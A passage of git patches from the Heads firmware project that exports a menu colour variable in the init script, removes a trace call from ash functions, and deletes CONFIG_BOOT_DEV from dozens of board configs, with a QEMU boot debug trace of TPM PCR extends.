CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y #Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y +export CONFIG_TPM2_CAPTURE_PCAP=y #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y From 7f7bc7057ccb80f70a4fa238f373c7ab42b5e173 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 7 Sep 2024 16:19:17 -0400 Subject: [PATCH 239/619] init: add export BG_COLOR_MAIN_MENU="normal" so that media-scan, config-gui and others can still be called from command line without passing from gui-init which was sole exporter of it Signed-off-by: Thierry Laurion --- initrd/init | 2 ++ 1 file changed, 2 insertions(+) diff --git a/initrd/init b/initrd/init index a33e601c5..55a894a79 100755 --- a/initrd/init +++ b/initrd/init @@ -105,9 +105,11 @@ fi if [ -x /bin/fbwhiptail ]; then export BG_COLOR_WARNING="${CONFIG_WARNING_BG_COLOR:-"--background-gradient 0 0 0 150 125 0"}" export BG_COLOR_ERROR="${CONFIG_ERROR_BG_COLOR:-"--background-gradient 0 0 0 150 0 0"}" + export BG_COLOR_MAIN_MENU="normal" else export TEXT_BG_COLOR_WARNING="${CONFIG_WARNING_TEXT_BG_COLOR:-"yellow"}" export TEXT_BG_COLOR_ERROR="${CONFIG_ERROR_TEXT_BG_COLOR:-"red"}" + export BG_COLOR_MAIN_MENU="normal" fi if [ "$CONFIG_TPM" = "y" ]; then From 0e900219311633f59b85c66b7d36e585423d5398 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 9 Sep 2024 09:30:43 -0400 Subject: [PATCH 240/619] etc/ash_functions: remove TRACE_FUNC that cannot be used in ash, only under bash Signed-off-by: Thierry Laurion --- initrd/etc/ash_functions | 1 - 1 file changed, 1 deletion(-) diff --git a/initrd/etc/ash_functions b/initrd/etc/ash_functions index f8b9f79ea..bf6c6307a 100644 --- a/initrd/etc/ash_functions +++ b/initrd/etc/ash_functions @@ -241,7 +241,6 @@ recovery() { DEBUG "Board $CONFIG_BOARD - version $(fw_version)" if [ "$CONFIG_TPM" = "y" ]; then - TRACE_FUNC echo "TPM: Extending PCR[4] to prevent any further secret unsealing" tpmr extend -ix 4 -ic recovery fi From 3574e12be949b92806c478941703a1a5b634fadc Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 8 Sep 2024 10:22:44 -0400 Subject: [PATCH 241/619] board configs: remove CONFIG_BOOT_DEV so detect_boot_device detects it prior of oem-factory-reset usage repro: sed -i '/CONFIG_BOOT_DEV/d' boards/*/*.config unmaintained_boards/*/*.config qemu debug trace on preinstalled OS: [ 3.999725] [U] hello world [ 4.286215] DEBUG: Debug output enabled from board CONFIG_DEBUG_OUTPUT=y option (/etc/config) [ 4.315239] TRACE: Under init [ 4.369379] DEBUG: Applying panic_on_oom setting to sysctl [ 4.588333] TRACE: /bin/cbfs-init(5): main [ 4.728310] TRACE: /bin/cbfs-init(24): main [ 4.867039] DEBUG: TPM: Will extend PCR[7] with hash of filename /.gnupg/pubring.kbx [ 4.946757] TRACE: /bin/tpmr(788): main [ 5.006987] DEBUG: TPM: Extending PCR[7] with hash 7ccf4f64044946cf4e5b0efe3d959f00562227ae [ 5.068692] DEBUG: exec tpm extend -ix 7 -ic /.gnupg/pubring.kbx [ 5.326365] DEBUG: TPM: Will extend PCR[7] hash content of file /.gnupg/pubring.kbx [ 5.399511] TRACE: /bin/tpmr(788): main [ 5.460618] DEBUG: TPM: Extending PCR[7] with hash 547ca343719d3aa62af4763357d8c10cb35eae55 [ 5.524608] DEBUG: exec tpm extend -ix 7 -if /.gnupg/pubring.kbx [ 5.752340] TRACE: /bin/cbfs-init(24): main [ 5.908677] DEBUG: TPM: Will extend PCR[7] with hash of filename /.gnupg/trustdb.gpg [ 5.988169] TRACE: /bin/tpmr(788): main [ 6.044996] DEBUG: TPM: Extending PCR[7] with hash 7236ea8e612c1435259a8a0f8e0a8f1f5dba7042 [ 6.101604] DEBUG: exec tpm extend -ix 7 -ic /.gnupg/trustdb.gpg [ 6.371341] DEBUG: TPM: Will extend PCR[7] hash content of file /.gnupg/trustdb.gpg [ 6.451878] TRACE: /bin/tpmr(788): main [ 6.511948] DEBUG: TPM: Extending PCR[7] with hash 4697c489f359b40dd8aec55df52a33b1f580a3df [ 6.572785] DEBUG: exec tpm extend -ix 7 -if /.gnupg/trustdb.gpg [ 6.879519] TRACE: /bin/key-init(6): main [ 8.239618] TRACE: Under /etc/ash_functions:combine_configs [ 8.323781] TRACE: Under /etc/ash_functions:pause_recovery !!! Hit enter to proceed to recovery shell !!! [ 8.572855] TRACE: /bin/setconsolefont.sh(6): main [ 8.631296] DEBUG: Board does not ship setfont, not checking console font [ 8.887295] TRACE: /bin/gui-init(641): main [ 8.920627] TRACE: /etc/functions(715): detect_boot_device [ 9.251212] TRACE: /etc/functions(682): mount_possible_boot_device [ 9.312602] TRACE: /etc/functions(642): is_gpt_bios_grub [ 9.410830] TRACE: /dev/vda1 is partition 1 of vda [ 9.540007] TRACE: /etc/functions(619): find_lvm_vg_name [ 9.707187] TRACE: Try mounting /dev/vda1 as /boot [ 9.766843] EXT4-fs (vda1): mounted filesystem with ordered data mode. Opts: (null) [ 9.825028] TRACE: /bin/gui-init(319): clean_boot_check Signed-off-by: Thierry Laurion --- .../UNMAINTAINED_kgpe-d16_server-whiptail.config | 1 - .../UNMAINTAINED_kgpe-d16_server.config | 1 - .../UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config | 1 - .../UNMAINTAINED_kgpe-d16_workstation.config | 1 - boards/librem_11/librem_11.config | 1 - boards/librem_13v2/librem_13v2.config | 1 - boards/librem_13v4/librem_13v4.config | 1 - boards/librem_14/librem_14.config | 1 - boards/librem_15v3/librem_15v3.config | 1 - boards/librem_15v4/librem_15v4.config | 1 - boards/librem_l1um/librem_l1um.config | 1 - boards/librem_l1um_v2/librem_l1um_v2.config | 1 - boards/librem_mini/librem_mini.config | 1 - boards/librem_mini_v2/librem_mini_v2.config | 1 - boards/nitropad-ns50/nitropad-ns50.config | 1 - boards/nitropad-nv41/nitropad-nv41.config | 1 - .../qemu-coreboot-fbwhiptail-tpm1-hotp.config | 1 - .../qemu-coreboot-fbwhiptail-tpm1.config | 1 - .../qemu-coreboot-fbwhiptail-tpm2-hotp.config | 1 - .../qemu-coreboot-fbwhiptail-tpm2.config | 1 - .../qemu-coreboot-whiptail-tpm1-hotp.config | 1 - .../qemu-coreboot-whiptail-tpm1.config | 1 - .../qemu-coreboot-whiptail-tpm2-hotp.config | 1 - .../qemu-coreboot-whiptail-tpm2.config | 1 - boards/t420-hotp-maximized/t420-hotp-maximized.config | 1 - boards/t420-maximized/t420-maximized.config | 1 - boards/t430-hotp-maximized/t430-hotp-maximized.config | 1 - boards/t430-maximized/t430-maximized.config | 1 - boards/t440p-maximized/t440p-maximized.config | 1 - boards/t530-hotp-maximized/t530-hotp-maximized.config | 1 - boards/t530-maximized/t530-maximized.config | 1 - boards/talos-2/talos-2.config | 1 - boards/w530-hotp-maximized/w530-hotp-maximized.config | 1 - boards/w530-maximized/w530-maximized.config | 1 - boards/w541-maximized/w541-maximized.config | 1 - boards/x220-hotp-maximized/x220-hotp-maximized.config | 1 - boards/x220-maximized/x220-maximized.config | 1 - boards/x230-hotp-legacy/x230-hotp-legacy.config | 1 - .../x230-hotp-maximized-fhd_edp.config | 1 - boards/x230-hotp-maximized/x230-hotp-maximized.config | 1 - .../x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config | 1 - boards/x230-legacy/x230-legacy.config | 1 - boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config | 1 - boards/x230-maximized/x230-maximized.config | 1 - boards/z220-cmt-maximized/z220-cmt-maximized.config | 1 - .../UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config | 1 - .../UNMAINTAINED_qemu-linuxboot.config | 1 - unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config | 1 - .../UNMAINTAINED_t430-hotp-legacy.config | 1 - .../UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config | 1 - .../UNMAINTAINED_t520-hotp-maximized.config | 1 - .../UNMAINTAINED_t520-maximized.config | 1 - .../UNMAINTAINED_t530-dgpu-hotp-maximized.config | 1 - .../UNMAINTAINED_t530-dgpu-maximized.config | 1 - .../UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config | 1 - .../UNMAINTAINED_w530-dgpu-K1000m-maximized.config | 1 - .../UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config | 1 - .../UNMAINTAINED_w530-dgpu-K2000m-maximized.config | 1 - unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config | 1 - unmaintained_boards/UNTESTED_leopard/UNTESTED_leopard.config | 1 - unmaintained_boards/UNTESTED_r630/UNTESTED_r630.config | 1 - unmaintained_boards/UNTESTED_s2600wf/UNTESTED_s2600wf.config | 1 - unmaintained_boards/UNTESTED_tioga/UNTESTED_tioga.config | 1 - .../UNTESTED_winterfell/UNTESTED_winterfell.config | 1 - 64 files changed, 64 deletions(-) diff --git a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config index 045ccf01e..bad8c12c4 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config +++ b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config @@ -70,7 +70,6 @@ export CONFIG_BOOT_STATIC_IP=192.168.2.3 export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="KGPE-D16 Server-whiptail" export CONFIG_USB_BOOT_DEV="/dev/sdb1" export CONFIG_FLASHROM_OPTIONS="--force --noverify -p internal" diff --git a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config index 26a261ec9..995ee637a 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config +++ b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config @@ -56,7 +56,6 @@ export CONFIG_BOOT_STATIC_IP=192.168.2.3 export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="KGPE-D16 Server" export CONFIG_USB_BOOT_DEV="/dev/sdb1" diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config index 519c78109..59ecbfd09 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config @@ -65,7 +65,6 @@ export CONFIG_BOOT_KERNEL_ADD="nohz=on nouveau.config=NvForcePost=1" export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n #export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="KGPE-D16 Workstation-USB-Keyboard" export CONFIG_USB_BOOT_DEV="/dev/sdb1" export CONFIG_FLASHROM_OPTIONS="--force --noverify -p internal" diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config index 6cee65ca1..d88ad6ce3 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config @@ -66,7 +66,6 @@ export CONFIG_BOOT_KERNEL_ADD="nohz=on nouveau.config=NvForcePost=1" export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n #export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="KGPE-D16 Workstation" export CONFIG_USB_BOOT_DEV="/dev/sdb1" export CONFIG_FLASHROM_OPTIONS="--force --noverify -p internal" diff --git a/boards/librem_11/librem_11.config b/boards/librem_11/librem_11.config index 63025aff3..2610fb7a0 100644 --- a/boards/librem_11/librem_11.config +++ b/boards/librem_11/librem_11.config @@ -35,7 +35,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" -export CONFIG_BOOT_DEV="/dev/nvme0n1p1" export CONFIG_BOARD_NAME="Librem 11" export CONFIG_FLASHROM_OPTIONS="-p internal" export CONFIG_USB_KEYBOARD_REQUIRED=y diff --git a/boards/librem_13v2/librem_13v2.config b/boards/librem_13v2/librem_13v2.config index 835831aad..49c5dde11 100644 --- a/boards/librem_13v2/librem_13v2.config +++ b/boards/librem_13v2/librem_13v2.config @@ -35,7 +35,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" -export CONFIG_BOOT_DEV="/dev/nvme0n1p1" export CONFIG_BOARD_NAME="Librem 13 v2/v3" export CONFIG_FLASHROM_OPTIONS="-p internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/librem_13v4/librem_13v4.config b/boards/librem_13v4/librem_13v4.config index afded52a7..d3ed7b020 100644 --- a/boards/librem_13v4/librem_13v4.config +++ b/boards/librem_13v4/librem_13v4.config @@ -35,7 +35,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" -export CONFIG_BOOT_DEV="/dev/nvme0n1p1" export CONFIG_BOARD_NAME="Librem 13 v4" export CONFIG_FLASHROM_OPTIONS="-p internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/librem_14/librem_14.config b/boards/librem_14/librem_14.config index 7eb296d60..47ca137f5 100644 --- a/boards/librem_14/librem_14.config +++ b/boards/librem_14/librem_14.config @@ -34,7 +34,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" -export CONFIG_BOOT_DEV="/dev/nvme0n1p1" export CONFIG_BOARD_NAME="Librem 14" export CONFIG_FLASHROM_OPTIONS="-p internal" diff --git a/boards/librem_15v3/librem_15v3.config b/boards/librem_15v3/librem_15v3.config index e3c55575a..ec5620b31 100644 --- a/boards/librem_15v3/librem_15v3.config +++ b/boards/librem_15v3/librem_15v3.config @@ -35,7 +35,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" -export CONFIG_BOOT_DEV="/dev/nvme0n1p1" export CONFIG_BOARD_NAME="Librem 15 v3" export CONFIG_FLASHROM_OPTIONS="-p internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/librem_15v4/librem_15v4.config b/boards/librem_15v4/librem_15v4.config index d57830552..6f9b3cef7 100644 --- a/boards/librem_15v4/librem_15v4.config +++ b/boards/librem_15v4/librem_15v4.config @@ -36,7 +36,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" -export CONFIG_BOOT_DEV="/dev/nvme0n1p1" export CONFIG_BOARD_NAME="Librem 15 v4" export CONFIG_FLASHROM_OPTIONS="-p internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/librem_l1um/librem_l1um.config b/boards/librem_l1um/librem_l1um.config index 1956c63a6..98f76a5c8 100644 --- a/boards/librem_l1um/librem_l1um.config +++ b/boards/librem_l1um/librem_l1um.config @@ -34,7 +34,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="intel_iommu=on" export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" -export CONFIG_BOOT_DEV="/dev/nvme0n1p1" export CONFIG_BOARD_NAME="Librem Server L1UM" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_FLASHROM_OPTIONS="-p internal" diff --git a/boards/librem_l1um_v2/librem_l1um_v2.config b/boards/librem_l1um_v2/librem_l1um_v2.config index bc5153516..3981a1a89 100644 --- a/boards/librem_l1um_v2/librem_l1um_v2.config +++ b/boards/librem_l1um_v2/librem_l1um_v2.config @@ -38,7 +38,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" -export CONFIG_BOOT_DEV="/dev/nvme0n1p1" export CONFIG_BOARD_NAME="Librem Server L1UM v2" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_FLASHROM_OPTIONS="-p internal" diff --git a/boards/librem_mini/librem_mini.config b/boards/librem_mini/librem_mini.config index bc0208789..6e3f71767 100644 --- a/boards/librem_mini/librem_mini.config +++ b/boards/librem_mini/librem_mini.config @@ -35,7 +35,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" -export CONFIG_BOOT_DEV="/dev/nvme0n1p1" export CONFIG_BOARD_NAME="Librem Mini" export CONFIG_FLASHROM_OPTIONS="-p internal" export CONFIG_USB_KEYBOARD_REQUIRED=y diff --git a/boards/librem_mini_v2/librem_mini_v2.config b/boards/librem_mini_v2/librem_mini_v2.config index eb0349c12..0325ecab0 100644 --- a/boards/librem_mini_v2/librem_mini_v2.config +++ b/boards/librem_mini_v2/librem_mini_v2.config @@ -35,7 +35,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" -export CONFIG_BOOT_DEV="/dev/nvme0n1p1" export CONFIG_BOARD_NAME="Librem Mini v2" export CONFIG_FLASHROM_OPTIONS="-p internal" export CONFIG_USB_KEYBOARD_REQUIRED=y diff --git a/boards/nitropad-ns50/nitropad-ns50.config b/boards/nitropad-ns50/nitropad-ns50.config index 2c9e2b284..07117cb82 100644 --- a/boards/nitropad-ns50/nitropad-ns50.config +++ b/boards/nitropad-ns50/nitropad-ns50.config @@ -67,7 +67,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/nvme0n1" export CONFIG_BOARD_NAME="Nitropad NS50" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/nitropad-nv41/nitropad-nv41.config b/boards/nitropad-nv41/nitropad-nv41.config index ff68302fb..adca07c6a 100644 --- a/boards/nitropad-nv41/nitropad-nv41.config +++ b/boards/nitropad-nv41/nitropad-nv41.config @@ -67,7 +67,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/nvme0n1" export CONFIG_BOARD_NAME="Nitropad NV41" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config index e455bbdfb..b4c6b3a1f 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config @@ -90,7 +90,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" -export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1-hotp" #export CONFIG_FLASHROM_OPTIONS="-p internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config index 127b3a0d5..be28d0bc6 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config @@ -88,7 +88,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" -export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1" #export CONFIG_FLASHROM_OPTIONS="-p internal" #export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config index 11f6fccd9..3c589c8fb 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config @@ -89,7 +89,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" -export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2-hotp" #export CONFIG_FLASHROM_OPTIONS="-p internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config index 1619f8329..cca9f0df3 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config @@ -88,7 +88,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" -export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2" #export CONFIG_FLASHROM_OPTIONS="-p internal" #export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config index 4cea2c60a..fafdcaf88 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config @@ -90,7 +90,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" -export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1-hotp" #export CONFIG_FLASHROM_OPTIONS="-p internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config index 7f787362e..a0981ed4e 100644 --- a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config +++ b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config @@ -88,7 +88,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" -export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1" #export CONFIG_FLASHROM_OPTIONS="-p internal" #export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config index d7a606e7b..e880fbe34 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config @@ -89,7 +89,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" -export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2-hotp" #export CONFIG_FLASHROM_OPTIONS="-p internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config index cdcd3946c..43dbe09cb 100644 --- a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config +++ b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config @@ -88,7 +88,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" -export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2" #export CONFIG_FLASHROM_OPTIONS="-p internal" #export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/t420-hotp-maximized/t420-hotp-maximized.config b/boards/t420-hotp-maximized/t420-hotp-maximized.config index 9a8a39a54..3494f6f8d 100644 --- a/boards/t420-hotp-maximized/t420-hotp-maximized.config +++ b/boards/t420-hotp-maximized/t420-hotp-maximized.config @@ -65,7 +65,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="ThinkPad T420-hotp-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal:ich_spi_mode=hwseq" diff --git 